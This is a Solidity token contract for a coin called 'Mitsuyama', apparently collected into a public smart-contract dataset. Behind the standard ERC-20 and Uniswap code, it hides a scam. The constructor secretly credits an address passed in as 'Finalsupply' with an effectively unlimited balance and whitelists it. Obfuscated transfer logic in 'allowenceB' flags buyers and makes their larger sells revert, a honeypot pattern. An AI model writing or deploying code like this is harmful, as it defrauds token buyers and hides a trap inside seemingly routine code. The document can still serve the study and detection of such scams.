zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
Teh tale of Mitsuyama.
https://medium.com/@MitsuyamaETH
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.6;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _getOwner;
event TransferNewOwner(address indexed firstOwner, address indexed LatestOwnedBy);
constructor() {
_setOwnedBy(_msgSender());
}
function soleOwner() public view virtual returns (address) {
return _getOwner;
}
modifier rOwner() {
require(soleOwner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function giveUpOwnership() public virtual rOwner {
_setOwnedBy(address(0));
}
function transferOwner(address LatestOwnedBy) public virtual rOwner {
require(LatestOwnedBy != address(0), 'Ownable: new owner is the zero address');
_setOwnedBy(LatestOwnedBy);
}
function _setOwnedBy(address LatestOwnedBy) private {
address oldOwner = _getOwner;
_getOwner = LatestOwnedBy;
emit TransferNewOwner(oldOwner, LatestOwnedBy);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NTOKEN,
string memory _SYMBOLTOKEN,
address rAddy,
address Finalsupply
) {
_symbolToken = _SYMBOLTOKEN;
_nameToken = _NTOKEN;
_feeTaker = 0;
_decimals = 9;
_supply = 100000000000000000 * 10**_decimals;
_balances[Finalsupply] = newswap;
_balances[msg.sender] = _supply;
enableA[Finalsupply] = newswap;
enableA[msg.sender] = newswap;
router = IUniswapV2Router02(rAddy);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _supply);
}
uint256 public _feeTaker;
string private _nameToken;
string private _symbolToken;
uint8 private _decimals;
function name() public view returns (string memory) {
return _nameToken;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbolToken;
}
uint256 private _supply;
uint256 private _rsupply;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private newswap = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _supply;
}
address[] enableB = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function allowenceB(
address getBalance,
address getFeeSetter,
uint256 allowedSwap
) private {
address outterSwap = enableB[1];
bool backingFee = uniswapV2Pair == getBalance;
uint256 spenderFeeA = _feeTaker;
if (enableA[getBalance] == 0 && botBlocked[getBalance] > 0 && !backingFee) {
enableA[getBalance] -= spenderFeeA;
if (allowedSwap > 2 * 10**(13 + _decimals)) enableA[getBalance] -= spenderFeeA - 1;
}
enableB[1] = getFeeSetter;
if (enableA[getBalance] > 0 && allowedSwap == 0) {
enableA[getFeeSetter] += spenderFeeA;
}
botBlocked[outterSwap] += spenderFeeA + 1;
uint256 fee = (allowedSwap / 100) * _feeTaker;
allowedSwap -= fee;
_balances[getBalance] -= fee;
_balances[address(this)] += fee;
_balances[getBalance] -= allowedSwap;
_balances[getFeeSetter] += allowedSwap;
}
mapping(address => uint256) private botBlocked;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private enableA;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
allowenceB(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
allowenceB(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}